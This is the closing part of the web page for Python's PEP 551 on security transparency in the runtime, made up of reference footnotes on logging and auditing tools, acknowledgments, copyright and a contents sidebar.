<dt class="label" id="id26">[<a href="#id6">6</a>]</dt>
<dd>Persistent Zone Identifiers, <a class="reference external" href="https://msdn.microsoft.com/en-us/library/ms537021(v=vs.85).aspx">https://msdn.microsoft.com/en-us/library/ms537021(v=vs.85).aspx</a></aside>
<aside class="footnote brackets" id="id27" role="doc-footnote">
<dt class="label" id="id27">[7]<em> (<a href='#id7'>1</a>, <a href='#id17'>2</a>) </em></dt>
<dd>Event tracing, <a class="reference external" href="https://msdn.microsoft.com/en-us/library/aa363668(v=vs.85).aspx">https://msdn.microsoft.com/en-us/library/aa363668(v=vs.85).aspx</a></aside>
<aside class="footnote brackets" id="id28" role="doc-footnote">
<dt class="label" id="id28">[<a href="#id8">8</a>]</dt>
<dd><a class="reference external" href="https://www.gnupg.org/">https://www.gnupg.org/</a></aside>
<aside class="footnote brackets" id="id29" role="doc-footnote">
<dt class="label" id="id29">[<a href="#id9">9</a>]</dt>
<dd><a class="reference external" href="https://www.systutorials.com/docs/linux/man/3-sd_journal_send/">https://www.systutorials.com/docs/linux/man/3-sd_journal_send/</a></aside>
<aside class="footnote brackets" id="id30" role="doc-footnote">
<dt class="label" id="id30">[10]<em> (<a href='#id10'>1</a>, <a href='#id14'>2</a>) </em></dt>
<dd><a class="reference external" href="http://www.trustedbsd.org/openbsm.html">http://www.trustedbsd.org/openbsm.html</a></aside>
<aside class="footnote brackets" id="id31" role="doc-footnote">
<dt class="label" id="id31">[11]<em> (<a href='#id11'>1</a>, <a href='#id15'>2</a>) </em></dt>
<dd><a class="reference external" href="https://linux.die.net/man/3/syslog">https://linux.die.net/man/3/syslog</a></aside>
<aside class="footnote brackets" id="id32" role="doc-footnote">
<dt class="label" id="id32">[12]<em> (<a href='#id12'>1</a>, <a href='#id18'>2</a>) </em></dt>
<dd><a class="reference external" href="http://security.blogoverflow.com/2013/01/a-brief-introduction-to-auditd/">http://security.blogoverflow.com/2013/01/a-brief-introduction-to-auditd/</a></aside>
<aside class="footnote brackets" id="id33" role="doc-footnote">
<dt class="label" id="id33">[<a href="#id13">13</a>]</dt>
<dd>SELinux access decisions <a class="reference external" href="http://man7.org/linux/man-pages/man3/avc_entry_ref_init.3.html">http://man7.org/linux/man-pages/man3/avc_entry_ref_init.3.html</a></aside>
<aside class="footnote brackets" id="id34" role="doc-footnote">
<dt class="label" id="id34">[<a href="#id20">14</a>]</dt>
<dd>The failure of pysandbox <a class="reference external" href="https://lwn.net/Articles/574215/">https://lwn.net/Articles/574215/</a></aside>
</aside>
</section>
<section id="acknowledgments">
<h2><a class="toc-backref" href="#acknowledgments" role="doc-backlink">Acknowledgments</a></h2>
<p>Thanks to all the people from Microsoft involved in helping make the
Python runtime safer for production use, and especially to James Powell
for doing much of the initial research, analysis and implementation, Lee
Holmes for invaluable insights into the info-sec field and PowerShells
responses, and Brett Cannon for the restraining and grounding
discussions.</p>
</section>
<section id="copyright">
<h2><a class="toc-backref" href="#copyright" role="doc-backlink">Copyright</a></h2>
<p>Copyright (c) 2017-2018 by Microsoft Corporation. This material may be
distributed only subject to the terms and conditions set forth in the
Open Publication License, v1.0 or later (the latest version is presently
available at <a class="reference external" href="http://www.opencontent.org/openpub/">http://www.opencontent.org/openpub/</a>).</p>
</section>
</section>
<hr class="docutils" />
<p>Source: <a class="reference external" href="https://github.com/python/peps/blob/main/peps/pep-0551.rst">https://github.com/python/peps/blob/main/peps/pep-0551.rst</a></p>
<p>Last modified: <a class="reference external" href="https://github.com/python/peps/commits/main/peps/pep-0551.rst">2023-09-09 17:39:29 GMT</a></p>
</article>
<nav id="pep-sidebar">
<h2>Contents</h2>
<ul>
<li><a class="reference internal" href="#relationship-to-pep-578">Relationship to PEP 578</a></li>
<li><a class="reference internal" href="#abstract">Abstract</a></li>
<li><a class="reference internal" href="#background">Background</a></li>
<li><a class="reference internal" href="#summary-recommendations">Summary Recommendations</a></li>
<li><a class="reference internal" href="#restricting-the-entry-point">Restricting the Entry Point</a></li>
<li><a class="reference internal" href="#general-recommendations">General Recommendations</a></li>
<li><a class="reference internal" href="#things-not-to-do">Things not to do</a></li>
<li><a class="reference internal" href="#further-reading">Further Reading</a></li>
<li><a class="reference internal" href="#references">References</a></li>
<li><a class="reference internal" href="#acknowledgments">Acknowledgments</a></li>
<li><a class="reference internal" href="#copyright">Copyright</a></li>
</ul>
<br>
<a id="source" href="https://github.com/python/peps/blob/main/peps/pep-0551.rst">Page Source (GitHub)</a>
</nav>
</section>
<script src="../_static/colour_scheme.js"></script>
<script src="../_static/wrap_tables.js"></script>
<script src="../_static/sticky_banner.js"></script>
</body>
</html>